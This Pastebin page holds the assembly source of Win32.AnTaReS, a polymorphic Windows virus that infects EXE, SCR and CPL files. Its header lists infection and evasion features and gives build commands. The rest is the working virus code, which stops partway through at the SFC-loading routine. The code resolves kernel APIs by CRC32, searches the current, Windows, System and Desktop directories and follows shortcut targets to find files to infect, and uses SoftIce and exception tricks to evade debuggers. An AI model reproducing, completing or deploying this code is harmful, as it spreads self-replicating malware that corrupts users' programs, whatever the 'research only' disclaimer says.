Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;####################################[Win32.AnTaReS by PiKaS]#####
- ;#
- ;# Author: PiKaS @0@0@ @ @ @0@0@ @0@0@ @0@0@ @0@0@ @0@0@
- ;# 0 0 0@ 0 0 0 0 0 0 0 0
- ;# lordjoker@hotmail.com @0@0@ @ 0 @ @ @0@0@ @0@0@ @0@0@ @0@0@
- ;# 0 0 0 @0 0 0 0 0 @ 0 0
- ;# Name: Win32.AnTaReS @ @ @ @ @ @ @ @ @ @0@0@ @0@0@
- ;#
- ;#################################################################
- ;#################################################################
- ;# AnTaReS / Alpha Sco #
- ;# Distance: 604.01 ly ###+++++++++++++++
- ;# Abs. Mag: -5.28 #####
- ;# Luminosity: 11,100xSun #######+++++++++++++++++
- ;# Class: M1 l-b #####
- ;# Radius: 449.59xSun ###+++++++++++++++
- ;# Surface temp: 3,720K #
- ;#################################################################
- ;#################################################################
- ;#
- ;# Characteristics:
- ;# ----------------
- ;# - Target: Portable Exe (PE), SCR, CPL
- ;# - Get Apis using CRC32 with SEH protection
- ;# - EPO (Patch Masm/Tasm calls randomly)
- ;# - PolyMorphic Virus (using [ETMS] by b0z0/iKX)
- ;# - Find Targets through Link Files (Current dir and Desktop dir)
- ;# - Resident Per-Process (Hooks APIs like CreateFileA, etc...
- ;# and extract a new path for infections)
- ;# - Direct Action Virus (Windows, System and Actual Directories)
- ;# - Anti-Debugging (Jump if a Debug program is detected...SoftIce)
- ;# - CRC32 CheckSum File (Rebuild CRC32 of Infected Files)
- ;# - Detect SFC protected files and Installation Kits
- ;# - Use Size Padding to avoid reinfections
- ;# (also used with failed infections to scan faster)
- ;#
- ;# Payload:
- ;# --------
- ;# - Graphic payload -> If 31th a BioHazard symbol appear on window
- ;#
- ;# Size: ---> 14156 Bytes (10.2Kb Min. Size - 13.8Kb Max. Size) <---
- ;# -----
- ;# [EPO]-->[DECRIPTOR][VIRUS_BODY/VIRUS_DATA]
- ;#
- ;# To Build this:
- ;# --------------
- ;# - tasm32 -m7 -ml -q -zn AnTaReS.asm
- ;# - tlink32 -Tpe -c -aa -v AnTaReS ,,, import32
- ;# - pewrsec AnTaReS.exe
- ;#
- ;# Author Notes:
- ;# -------------
- ;# - This Virus is dedicated to all VXers and friends
- ;# - Thanks to Dream Theater and Bind Guardian Music
- ;# - To Asimov Books (about the Universe, etc...) ;)
- ;# - Sorry for my poor English :P
- ;#
- ;# Disclaimer:
- ;# -----------
- ;# - This software is for research purposes only
- ;# - The author is not responsible for any problems
- ;# caused due to improper or illegal usage of it
- ;#
- ;#################################################################
- ;#################################################################
- ;#
- ;# Notes:
- ;# ------
- ;# - Win32.AnTaReS was written to be published in 29A-ezine(9)...
- ;# The ezine was never released and 29A has recently gone
- ;# retired. VirusBuster, GriYo, Wintermute... I will miss you
- ;# Thanks for your work, you are my personal heroes
- ;#
- ;#################################################################
- .586p
- .model flat,stdcall
- ;#################################################################
- ;# Apis for Host code
- ;#################################################################
- extrn ExitProcess:proc
- extrn MessageBoxA:proc
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# General Definitions
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Definitions (Main)
- ;#################################################################
- @VirusSize equ offset @VirusEnd - offset @VirusBegin
- @VirusBodySize equ offset @VirusEnd - offset @VirusBodyBegin
- @DeltaCritical equ offset @Critical - offset @VirusBodyBegin
- ;#################################################################
- ;# Definitions (File Handle)
- ;#################################################################
- OPEN_EXISTING equ 3 ; Some useful definitions
- GENERIC_READ equ 80000000h
- GENERIC_WRITE equ 40000000h
- PAGE_READWRITE equ 00000004h
- FILE_MAP_ALL_ACCESS equ 000F001Fh
- ;#################################################################
- ;# Definitions (Find Files)
- ;#################################################################
- MAX_PATH equ 260 ; The Max Long of Path
- FILETIME struc ; File Time Struct
- FT_dwLowDateTime dd ?
- FT_dwHighDateTime dd ?
- FILETIME ends
- WIN32_FIND_DATA struc ; Find File Struct
- WFD_dwFileAttributes dd ?
- WFD_ftCreationTime FILETIME ?
- WFD_ftLastAccessTime FILETIME ?
- WFD_ftLastWriteTime FILETIME ?
- WFD_nFileSizeHigh dd ?
- WFD_nFileSizeLow dd ?
- WFD_dwReserved0 dd ?
- WFD_dwReserved1 dd ?
- WFD_szFileName db MAX_PATH DUP (?)
- WFD_szAlternateFileName db 13 DUP (?)
- db 3 DUP (?)
- WIN32_FIND_DATA ends
- ;#################################################################
- ;# Definitions (Find Link Files)
- ;#################################################################
- HKEY_CURRENT_USER equ 080000001h
- KEY_READ equ 000000019h
- ;#################################################################
- ;# Definitions (Payload)
- ;#################################################################
- SM_CXSCREEN equ 00000000h ; To get the resolution of screen
- SM_CYSCREEN equ 00000001h
- IDI_WARNING equ 00007F03h ; A warning Icon
- MB_ICONHAND equ 00000010h ; A warning Sound
- SYSTEMTIME struct ; Struct to check the actual date
- wYear dw ?
- wMonth dw ?
- wDayOfWeek dw ?
- wDay dw ?
- wHour dw ?
- wMinute dw ?
- wSecond dw ?
- wMilliseconds dw ?
- SYSTEMTIME ends
- ;#################################################################
- ;# Definitions (Virus Core)
- ;#################################################################
- FILE_ATTRIBUTE_NORMAL equ 00000080h
- GPTR equ 00000040h
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Host Data and Code Sections
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- .data
- Antares db 'PiKaS LaBs 05',0 ; A Message Box text
- Text db 'PiKaS LaBs / Win32.AnTaReS',0
- .code
- HostStart:
- xor eax,eax ; The Host code
- push eax
- push offset Antares
- push offset Text ; A simple Message Box
- push eax
- call @VirusBegin ; Call to MessageBoxA has been patched ;)
- xor eax,eax ; And finish!
- push eax
- call ExitProcess
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Virus Code (win32.AnTaReS)
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Virus Main Body
- ;# In: No Input
- ;# Out: No Output
- ;#################################################################
- @VirusBegin:
- pushad ; Save the Host registes
- pushfd
- @Decryptor: db 1000h dup (90h) ; Decryptor of virus body
- @VirusBodyBegin:
- call GetDelta ; Just take the delta offset
- ;#################################################################
- ;# Set SEH (Exception Handling)
- ;#################################################################
- SetSeh:
- push ebp
- call Set@1 ; Push in Stack the New Excp Handler
- mov esp,[esp+08h] ; If Excp -> Set Stack and go out
- jmp ResetSeh
- Set@1:
- xor ebx,ebx
- push dword ptr fs:[ebx] ; Push in Stack old Excp Handler (Chain)
- mov fs:[ebx],esp ; Set new Excp Handler
- call GetApiAddress ; Get all apis address from Kernel
- or eax,eax
- jz ResetSeh
- call GetSeed ; Init the random number generator
- call AntiDebug ; Check if a debugger is present
- or eax,eax ; Ups! skip and go out
- jz ResetSeh
- call FindBody ; Main search virus body
- call Payload ; Whahaha... a graphic payload
- ;#################################################################
- ;# Reset SEH (Exception Handling)
- ;#################################################################
- ResetSeh:
- xor ebx,ebx
- pop dword ptr fs:[ebx] ; Recover old Excp Handler
- pop ebx
- pop ebp
- call PatchVirusEntryPoint ; Go to Host taking care of relocations
- popfd ; Pop host registers
- popad
- push 20202020h ; And finish! :)
- @ReturnHost equ $-4
- ret
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Get Kernel Apis
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Get Kernel Address
- ;# In: eax=AddrCreateProcess
- ;# Out: eax=AddrBaseKernel Error: eax=00h
- ;#################################################################
- GetKernelAddress proc
- push ebx ecx edx ; Save registers
- mov ecx,05h ; Only 5 times
- shr eax,10h ; Sth like AND EAX,0FFFF0000h
- GetKernel@1:
- shl eax,10h
- mov bx,[eax] ; Is the Kernel Base Image?
- cmp bx,'ZM'
- jnz GetKernel@2
- mov edx,eax
- add edx,[eax+3Ch]
- mov bx,[edx] ; Is a Portable Exe?
- cmp bx,'EP'
- jz GetKernel@3 ; Great!
- GetKernel@2:
- shr eax,10h ; Ups! One more time
- dec eax
- loop GetKernel@1
- xor eax,eax ; Ups! bad news.. :(
- GetKernel@3:
- pop edx ecx ebx ; Pop registers
- ret
- GetKernelAddress endp
- ;#################################################################
- ;# Get All Api Address
- ;# In: eax=AddrBaseKernel esi->ApisCrc32Struct
- ;# Out: (ApisAddrFull) Error: eax=00h
- ;#################################################################
- GetAllApiAddress proc
- push ebx ecx eax ; Save registers
- mov ebx,[eax+3Ch] ; Move to the Kernel Base
- add eax,ebx
- mov ebx,[eax+78h] ; And now the Export Section
- pop eax
- mov ecx,eax
- add eax,ebx
- mov ebx,[eax+18h] ; Get the total number of apis
- or ebx,ebx ; imported by name
- jz GetAll@6
- mov [@NumberNames+ebp],ebx
- mov ebx,[eax+1Ch]
- add ebx,ecx
- mov [@AddressTable+ebp],ebx ; Get the Addr of Address Table
- mov ebx,[eax+24h]
- add ebx,ecx
- mov [@OrdinalTable+ebp],ebx ; Get the Addr of Ordinal Table
- mov ebx,[eax+20h]
- add ebx,ecx
- mov [@NameTable+ebp],ebx ; And get the Addr of Name Table
- push edx edi esi ; Save registers
- xor eax,eax
- mov edi,esi
- SetZero@1:
- cmp byte ptr[edi],0EEh ; Is the last in the table?
- jz SetZero@2
- add edi,04h
- stosd ; Set zero all the Api Struct
- jmp SetZero@1
- SetZero@2:
- xor edx,edx ; Set zero the counter
- mov esi,ebx ; Set esi -> Name Table
- GetAll@1:
- lodsd
- add eax,ecx
- mov edi,eax ; Now edi -> Api Name (in Name Table)
- call GetStringLong ; Get the String Long
- mov esi,edi ; Set esi -> Api Name String
- mov edi,eax ; Set edi = Api Name Long
- call GetStringCrc32 ; And the new Crc32 of the String
- pop esi
- push esi ; esi -> ApisCrc32Struc
- mov ebx,eax ; Save the Crc32 in ebx
- xor edi,edi ; Counter of Apis left
- GetAll@2:
- cmp byte ptr[esi],0EEh ; If we finish the ApisCrc32Struc
- jz GetAll@3 ; then go out the loop
- lodsd
- sub eax,ebx ; Check if we need the Api
- jz GetAll@4
- lodsd ; If not go on (and Inc the Counter
- or eax,eax ; of Apis Letft)
- jnz GetAll@2
- inc edi
- jmp GetAll@2
- GetAll@4: ; Then get the Api Address
- push ebx ; Save registers
- mov eax,edx
- shl eax,01h
- add eax,[@OrdinalTable+ebp] ; Get the Ordinal of Api
- movzx ebx,word ptr[eax]
- shl ebx,02h
- add ebx,[@AddressTable+ebp] ; Get the RVA of Api
- mov eax,[ebx]
- add eax,ecx ; Add the Kernel Base
- push edi
- mov edi,esi
- stosd ; Storage the Address in the Struct
- pop edi ebx ; Pop registers
- lodsd
- jmp GetAll@2
- GetAll@3:
- or edi,edi ; Check the Counter of Apis left
- jz GetAll@5 ; We need no more Apis... finish
- inc edx ; Inc the Name number
- mov esi,edx
- shl esi,02h
- add esi,[@NameTable+ebp] ; Set again esi and go back
- dec [@NumberNames+ebp]
- jnz GetAll@1 ; No more names? ups...
- pop esi edi edx
- GetAll@6:
- xor eax,eax
- pop ecx ebx
- ret
- GetAll@5:
- xor eax,eax ; No error... all under control
- inc eax
- pop esi edi edx ecx ebx ; Pop registers
- ret
- GetAllApiAddress endp
- ;#################################################################
- ;# Get Api Address
- ;# In: @ImageBase
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- GetApiAddress proc
- mov ebx,[@ImageBase+ebp]
- mov esi,ebx
- add esi,[ebx+3Ch] ; Get the Portable Exe header
- add esi,80h
- lodsd
- or eax,eax ; Test if we have import header
- jz GetImport@1
- add eax,ebx
- mov ecx,eax ; Well, take a look at the import module
- GetImport@2:
- mov esi,[ecx+0Ch]
- or esi,esi ; If the last go out
- jz GetImport@1
- add esi,ebx
- lodsd
- or eax,20202020h ; Make the string low case
- cmp eax,'nrek'
- jnz GetImport@3
- lodsd
- or eax,20202020h
- cmp eax,'23le' ; It's the kernel import module?
- jz GetImport@4
- GetImport@3:
- add ecx,14h ; Nop, try another one
- jmp GetImport@2
- GetImport@4:
- mov esi,[ecx+10h] ; Fine! get some apis address
- or esi,esi
- jz GetImport@1
- add esi,ebx
- lea edi,[@ApisCrc32+ebp]
- GetImport@5:
- lodsd ; Load the first one
- or eax,eax
- jz GetImport@1 ; Is it the last? well...
- call GetKernelAddress ; Get the library base of imported api
- or eax,eax
- jz GetImport@5 ; Error?... try with other one
- mov [@KernelBase+ebp],eax
- xchg esi,edi
- call GetAllApiAddress ; Save the base and try to get all the apis
- or eax,eax ; Error?... try with other one
- jnz GetImport@6 ; Great! we got them... go out :D
- xchg esi,edi
- jmp GetImport@5
- GetImport@1:
- xor eax,eax ; Ups, this is critical... bad luck
- ret
- GetImport@6:
- xor eax,eax
- inc eax ; well done... we have the correct address
- ret
- GetApiAddress endp
- ;#################################################################
- ;# Get String Long
- ;# In: edi->String
- ;# Out: eax=StringLong
- ;#################################################################
- GetStringLong proc
- push edi ; Save edi
- xor al,al
- scasb ; Scan String till null char
- jnz $-1
- mov eax,edi
- pop edi
- sub eax,edi ; Get the String Long
- ret
- GetStringLong endp
- ;#################################################################
- ;# Get String Crc32
- ;# In: esi->String edi=StringLong
- ;# Out: eax=Crc32String
- ;#################################################################
- GetStringCrc32 proc
- push ebx ecx edx ; Save registers
- cld
- xor ecx,ecx ; Set ecx=0FFFFFFFFh
- dec ecx
- mov edx,ecx
- GetCrc@1: ; Now the next Byte Crc32
- xor eax,eax ; Set eax and ebx zero
- xor ebx,ebx
- lodsb ; Get one byte of String
- xor al,cl
- mov cl,ch
- mov ch,dl
- mov dl,dh
- mov dh,08h
- GetCrc@2: ; Next Bit Crc32
- shr bx,01h
- rcr ax,01h
- jnc GetCrc@3
- xor ax,08320h
- xor bx,0EDB8h
- GetCrc@3: ; Finish... no Crc32
- dec dh
- jnz GetCrc@2
- xor ecx,eax
- xor edx,ebx
- dec edi ; One byte less
- jnz GetCrc@1
- not edx
- not ecx
- mov eax,edx
- rol eax,10h ; We got in eax the Crc32 of Api Name
- mov ax,cx
- pop edx ecx ebx ; Pop registers
- ret
- GetStringCrc32 endp
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Find New Files
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Find Body
- ;# In: No Input
- ;# Out: No Output
- ;#################################################################
- FindBody proc
- call LoadSfcLibrary ; Check if Sfc is present and load it
- mov edi,05h ; Number of Infections
- call FindDirectAction ; Call to Direct Action part
- lea edi,[@Advapi32N+ebp]
- lea esi,[@Advapi32+ebp]
- call LoadNewLibrary ; Load a Library we need
- or eax,eax
- jz FindBody@1 ; If not posible... go out
- mov edi,05h ; Number of Infections
- call FindLinkFiles ; Call to Linked Files part
- lea edi,[@Advapi32N+ebp]
- call FreeNewLibrary ; Free Library after use
- FindBody@1:
- lea esi,[@ApisCrc32Hooks+ebp]
- lea edi,[@OffsetsHookStruct+ebp]
- call SetAllHooks ; Set the PerProcess part
- mov eax,[@SfcIsFileProtected+ebp]
- or eax,eax
- jz FindBody@2
- lea edi,[@SfcN+ebp] ; Free the Sfc library
- call FreeNewLibrary
- FindBody@2:
- ret
- FindBody endp
- ;#################################################################
- ;# Find Direct Action
- ;# In: edi=Number of Files per Directory
- ;# Out: No output
- ;#################################################################
- FindDirectAction proc
- pushad ; Save all registers
- call FindDirectory ; Find and Infect files in actual dir
- lea esi,[@PathOne+ebp]
- push esi
- push MAX_PATH ; Get the current directory
- call [@GetCurrentDirectoryA+ebp]
- or eax,eax
- jz FindAction@1
- push MAX_PATH
- lea esi,[@PathTwo+ebp]
- push esi ; Get the Windows directory
- call [@GetWindowsDirectoryA+ebp]
- or eax,eax
- jz FindAction@2
- lea esi,[@PathTwo+ebp]
- push esi ; Jump to Windows directory
- call [@SetCurrentDirectoryA+ebp]
- or eax,eax
- jz FindAction@2
- call FindDirectory ; Find and Infect files in Windows dir
- FindAction@2:
- push MAX_PATH
- lea esi,[@PathTwo+ebp]
- push esi ; Get the System directory
- call [@GetSystemDirectoryA+ebp]
- or eax,eax
- jz FindAction@3
- lea esi,[@PathTwo+ebp]
- push esi ; Jump to System directory
- call [@SetCurrentDirectoryA+ebp]
- or eax,eax
- jz FindAction@3
- call FindDirectory ; Find and Infect files in System dir
- FindAction@3:
- lea esi,[@PathOne+ebp]
- push esi ; Jump to the initial directory
- call [@SetCurrentDirectoryA+ebp]
- FindAction@1:
- popad ; Pop all registers
- ret
- FindDirectAction endp
- ;#################################################################
- ;# Find Directory
- ;# In: edi=Number of Files per Directory
- ;# Out: No output
- ;#################################################################
- FindDirectory proc
- push edi ; Save edi register
- lea esi,[@FindData+ebp] ; Load Find Data Struct
- push esi
- lea esi,[@FindMask+ebp] ; Looking for all type files (*.*)
- push esi
- call [@FindFirstFileA+ebp] ; Call to FindFirstFileA Api
- inc eax
- jz FindDir@1 ; If no files go out... :(
- dec eax
- mov [@FindHandle+ebp],eax ; Save the Find Handle
- FindDir@4:
- call CheckExtension ; Check if file is EXE DLL SCR or CPL
- or eax,eax
- jz FindDir@2
- call IsFileOk ; Check if the file is infected etc...
- or eax,eax
- jz FindDir@2
- call InfectFile ; Infect the file
- or eax,eax
- jz FindDir@2
- dec edi ; One file less
- jz FindDir@3
- FindDir@2:
- lea esi,[@FindData+ebp] ; Reload the Find Data Struct
- push esi
- mov eax,[@FindHandle+ebp] ; The Find Handle
- push eax
- call [@FindNextFileA+ebp] ; Find more files in directory
- or eax,eax
- jnz FindDir@4
- FindDir@3:
- mov eax,[@FindHandle+ebp] ; No more files, close the Find Handle
- push eax
- call [@FindClose+ebp]
- FindDir@1:
- pop edi ; Pop edi again (is a counter)
- ret
- FindDirectory endp
- ;#################################################################
- ;# Check Extension
- ;# In: @FindData
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- CheckExtension proc
- push edi ; Save edi register
- lea edi,[@FindData.WFD_szFileName+ebp]
- call GetStringLong ; Get the String Long
- cmp eax,05h ; If String too short skip and go
- jna CheckExt@1
- mov esi,edi
- add esi,eax
- sub esi,05h ; Get the last 4 bytes of string
- lodsd
- mov ecx,04h
- CheckExt@3: ; Make it Upper Case
- cmp al,'a'
- jb CheckExt@2
- cmp al,'z'
- ja CheckExt@2
- add al,'A'-'a'
- CheckExt@2:
- ror eax,08h ; Next byte
- loop CheckExt@3
- cmp eax,'EXE.' ; Is an EXE file?
- jz CheckExt@4
- cmp eax,'LPC.' ; Is a CPL file?
- jz CheckExt@4
- cmp eax,'RCS.' ; Is a SCR file?
- jz CheckExt@4
- CheckExt@1: ; If not... just make eax zero
- xor eax,eax
- CheckExt@4:
- pop edi ; Fine! go back
- ret
- CheckExtension endp
- ;#################################################################
- ;# Find Link Files
- ;# In: edi=Number of Files per Directory
- ;# Out: No output
- ;#################################################################
- FindLinkFiles proc
- pushad
- call FindLink ; Find Link files in current dir
- lea esi,[@PathOne+ebp]
- push esi
- push MAX_PATH ; Get Current directory
- call [@GetCurrentDirectoryA+ebp]
- or eax,eax
- jz FindLink@1
- lea esi,[@PathTwo+ebp]
- call GetDesktopDirectory ; Get Desktop directory
- or eax,eax ; Error... skip action
- jz FindLink@1
- lea esi,[@PathTwo+ebp]
- push esi
- call [@SetCurrentDirectoryA+ebp]
- or eax,eax ; Jump to the Desktop dir
- jz FindLink@1
- call FindLink ; Find Link files in Desktop dir
- lea esi,[@PathOne+ebp]
- push esi ; Go back to current dir
- call [@SetCurrentDirectoryA+ebp]
- FindLink@1:
- popad
- ret
- FindLinkFiles endp
- ;#################################################################
- ;# Get Desktop Directory
- ;# In: esi->Buffer for Desktop Directory
- ;# Out: Get the Desktop in Buffer Error: eax=00h
- ;#################################################################
- GetDesktopDirectory proc
- push edi
- xor eax,eax
- lea edi,[@RegHandle+ebp] ; Handle of Register we want check
- push edi
- push KEY_READ ; Only read a value
- push eax
- lea edi,[@SubKey+ebp] ; The Subkey we're looking for
- push edi
- push HKEY_CURRENT_USER ; Yes... in this register place
- call [@RegOpenKeyExA+ebp] ; Open the key
- or eax,eax
- jnz GetDesktop@1
- lea edi,[@RegSize+ebp] ; Push the buffer size
- push edi
- push esi
- lea edi,[@RegType+ebp] ; The text is REG_SZ
- push edi
- push eax
- lea edi,[@RegName+ebp] ; We want the Desktop value
- push edi
- mov eax,[@RegHandle+ebp] ; This is the Handle before
- push eax
- call [@RegQueryValueExA+ebp] ; Query the register value
- or eax,eax
- jnz GetDesktop@2
- mov edi,esi
- call GetStringLong ; Check if the path is valid
- dec eax
- jz GetDesktop@2
- inc eax
- add esi,eax
- sub esi,02h
- lodsb
- cmp al,'\' ; If not valid put \ after asciiz
- jz GetDesktop@3
- mov edi,esi
- mov ax,'\'
- stosd
- GetDesktop@3:
- mov eax,[@RegHandle+ebp] ; Close the opened register
- push eax
- call [@RegCloseKey+ebp]
- or eax,eax
- jnz GetDesktop@1
- inc eax
- pop edi ; Output: eax not zero
- ret
- GetDesktop@2:
- mov eax,[@RegHandle+ebp]
- push eax
- call [@RegCloseKey+ebp]
- GetDesktop@1:
- xor eax,eax ; Output: eax zero (error)
- pop edi
- ret
- GetDesktopDirectory endp
- ;#################################################################
- ;# Find Link
- ;# In: edi=Number of Files per Directory
- ;# Out: No output
- ;#################################################################
- FindLink proc
- push edi ; Save edi register
- lea esi,[@FindData+ebp] ; Load Find Data Struct
- push esi
- lea esi,[@FindLink+ebp] ; Looking for link files (*.LNK)
- push esi
- call [@FindFirstFileA+ebp] ; Call to FindFirstFileA Api
- inc eax
- jz FindLinkFile@1 ; If no files go out... :(
- dec eax
- mov [@FindHandle+ebp],eax ; Save the Find Handle
- FindLinkFile@4:
- call ExtractLink ; Extract the Linked file target
- call CheckExtension ; Check if file is EXE DLL SCR or CPL
- or eax,eax ; If not go on with other files
- jz FindLinkFile@2
- call IsFileOk ; Check if the file is infected etc...
- or eax,eax
- jz FindLinkFile@2
- call InfectFile ; Infect the file
- or eax,eax
- jz FindLinkFile@2
- dec edi ; One file less
- jz FindLinkFile@3
- FindLinkFile@2:
- lea esi,[@FindData+ebp] ; Reload the Find Data Struct
- push esi
- mov eax,[@FindHandle+ebp] ; The Find Handle
- push eax
- call [@FindNextFileA+ebp] ; Find more files in directory
- or eax,eax
- jnz FindLinkFile@4
- FindLinkFile@3:
- mov eax,[@FindHandle+ebp] ; No more files, close the Find Handle
- push eax
- call [@FindClose+ebp]
- FindLinkFile@1:
- pop edi ; Pop edi again (is a counter)
- ret
- FindLink endp
- ;#################################################################
- ;# Extract Link
- ;# In: edi=Number of Files per Directory
- ;# Out: No output
- ;#################################################################
- ExtractLink proc
- push edi ecx
- lea esi,[@FindData.WFD_szFileName+ebp]
- call CreateFile ; Open the Link file
- inc eax
- jz Extract@1 ; If error go out
- dec eax
- mov [@OpenHandle+ebp],eax ; Push some values and create a map
- mov edi,[@FindData.WFD_nFileSizeLow+ebp]
- mov esi,[@FindData.WFD_nFileSizeHigh+ebp]
- call FileMapping
- or eax,eax
- jz Extract@2 ; If error close file
- mov [@MapHandle+ebp],eax
- call MapViewOfFile ; Map it now!
- or eax,eax
- jz Extract@3
- mov [@FileAddr+ebp],eax ; Save the file Addr
- mov ecx,[eax]
- cmp ecx,'L' ; Check for Link valid file
- jnz Extract@4
- mov ecx,[eax+14h] ; Look if file has item ID list
- and ecx,03h ; and points to a file or dir
- cmp ecx,03h
- jnz Extract@4 ; If not skip and go out
- mov esi,eax
- xor eax,eax
- add esi,4Ch
- lodsw
- add esi,eax ; Jump over item ID list
- mov ecx,[esi+08h]
- and ecx,01h ; Check we have local volume
- jz Extract@4
- mov eax,[esi+10h] ; Go to the local volume
- add esi,eax
- mov edi,esi
- call GetStringLong
- mov ecx,eax ; Set some registers and copy it
- lea edi,[@FindData.WFD_szFileName+ebp]
- cld
- rep movsb
- Extract@4:
- mov eax,[@FileAddr+ebp] ; Unmap the Link file
- call UnmapViewOfFile
- Extract@3:
- mov eax,[@MapHandle+ebp]
- call CloseHandle ; Close the mapped file
- Extract@2:
- mov eax,[@OpenHandle+ebp]
- call CloseHandle ; And close the open file
- Extract@1:
- pop ecx edi
- ret
- ExtractLink endp
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Useful Functions
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Get Seed
- ;# In: No Input
- ;# Out: No Output
- ;#################################################################
- GetSeed proc
- call [@GetTickCount+ebp]
- mov [@Random+ebp],eax
- ret
- GetSeed endp
- ;#################################################################
- ;# Get Random
- ;# In: No Input
- ;# Out: eax=RandomValue
- ;#################################################################
- GetRandom proc
- mov eax,[@Random+ebp]
- imul eax,eax,65h
- add eax,0167h
- mov [@Random+ebp],eax
- ret
- GetRandom endp
- ;#################################################################
- ;# Align
- ;# In: eax=ValueToAlign ecx=AlignFactor
- ;# Out: eax=AlignedValue
- ;#################################################################
- Align proc
- push edx
- xor edx,edx ; Make edx zero
- push eax
- div ecx ; Div eax with ecx align factor
- pop eax
- sub ecx,edx ; Add to eax the rest to have
- add eax,ecx ; an aligned value
- pop edx
- ret
- Align endp
- ;#################################################################
- ;# Trunc File
- ;# In: ebx=Size to Move
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- TruncFile proc
- xor eax,eax
- push eax ; Pointer from start of file
- push eax
- push ebx ; Move this size
- push [@OpenHandle+ebp] ; File handle
- call [@SetFilePointer+ebp] ; Move the file pointer
- push [@OpenHandle+ebp]
- call [@SetEndOfFile+ebp] ; And make this point the EOF
- ret
- TruncFile endp
- ;#################################################################
- ;# Anti Debug
- ;# In: No Input
- ;# Out: eax=01h (no debug) eax=00h (debug)
- ;#################################################################
- AntiDebug proc
- push ebp
- AntiEmul@1:
- call AntiEmul@2 ; Push in Stack the New Excp Handler
- mov esp,[esp+08h] ; If Excp -> Set Stack and go out
- jmp AntiEmul@3
- AntiEmul@2:
- xor eax,eax
- push dword ptr fs:[eax] ; Push in Stack old Excp Handler (Chain)
- mov fs:[eax],esp ; Set new Excp Handler
- div eax ; Cause an Exception to fuck some emul/debug
- jmp AntiEmul@1
- AntiEmul@3:
- xor eax,eax
- pop dword ptr fs:[eax] ; Recover old Excp Handler
- pop eax
- pop ebp
- lea esi,[@SoftIceA+ebp]
- call CreateFile ; Try to check SoftIce debugger in win9X
- inc eax
- jz AntiDebug@2
- dec eax
- call CloseHandle
- jmp AntiDebug@1
- AntiDebug@2:
- lea esi,[@SoftIceB+ebp]
- call CreateFile ; Try to check SoftIce debugger in winNT
- inc eax
- jz AntiDebug@3
- dec eax
- call CloseHandle
- AntiDebug@1:
- xor eax,eax ; Hummm... skip and go out
- ret
- AntiDebug@3:
- inc eax ; Fine... no debugger present, go on!
- ret
- AntiDebug endp
- ;#################################################################
- ;# Create File
- ;# In: esi->File Name
- ;# Out: eax=OpenHandle Error: eax=-1
- ;#################################################################
- CreateFile proc
- xor eax,eax
- push eax ; Push normal values
- push eax
- push OPEN_EXISTING ; Open a file if existing
- push eax
- inc eax
- push eax
- push GENERIC_READ or GENERIC_WRITE
- push esi ; With permision for read / write
- call [@CreateFileA+ebp]
- ret
- CreateFile endp
- ;#################################################################
- ;# File Mapping
- ;# In: esi=FileSizeHigh edi=FileSizeLow eax=OpenHandle
- ;# Out: eax=MapHandle Error: eax=00h
- ;#################################################################
- FileMapping proc
- push ebx
- xor ebx,ebx
- push ebx
- push edi ; File Size Low
- push esi ; File Size High
- push PAGE_READWRITE ; Read / write permision in page
- push ebx
- push eax ; Open Handle
- call [@CreateFileMappingA+ebp]
- pop ebx
- ret
- FileMapping endp
- ;#################################################################
- ;# Map View Of File
- ;# In: esi=FileSizeHigh edi=FileSizeLow eax=MapHandle
- ;# Out: eax=FileAddr Error: eax=00h
- ;#################################################################
- MapViewOfFile proc
- push ebx
- xor ebx,ebx
- push edi ; File Size Low
- push ebx
- push ebx
- push FILE_MAP_ALL_ACCESS ; All type of access in map
- push eax ; Map Handle
- call [@MapViewOfFile+ebp]
- pop ebx
- ret
- MapViewOfFile endp
- ;#################################################################
- ;# Unmap View Of File
- ;# In: eax=FileAddr
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- UnmapViewOfFile proc
- push eax ; Push File Addr
- call [@UnmapViewOfFile+ebp]
- ret
- UnmapViewOfFile endp
- ;#################################################################
- ;# Close Handle
- ;# In: eax=Handle
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- CloseHandle proc
- push eax ; Push Open Handle
- call [@CloseHandle+ebp]
- ret
- CloseHandle endp
- ;#################################################################
- ;# Load Sfc Library
- ;# In: No Input
- ;# Out: No Output
- ;#################################################################
- LoadSfcLibrary proc
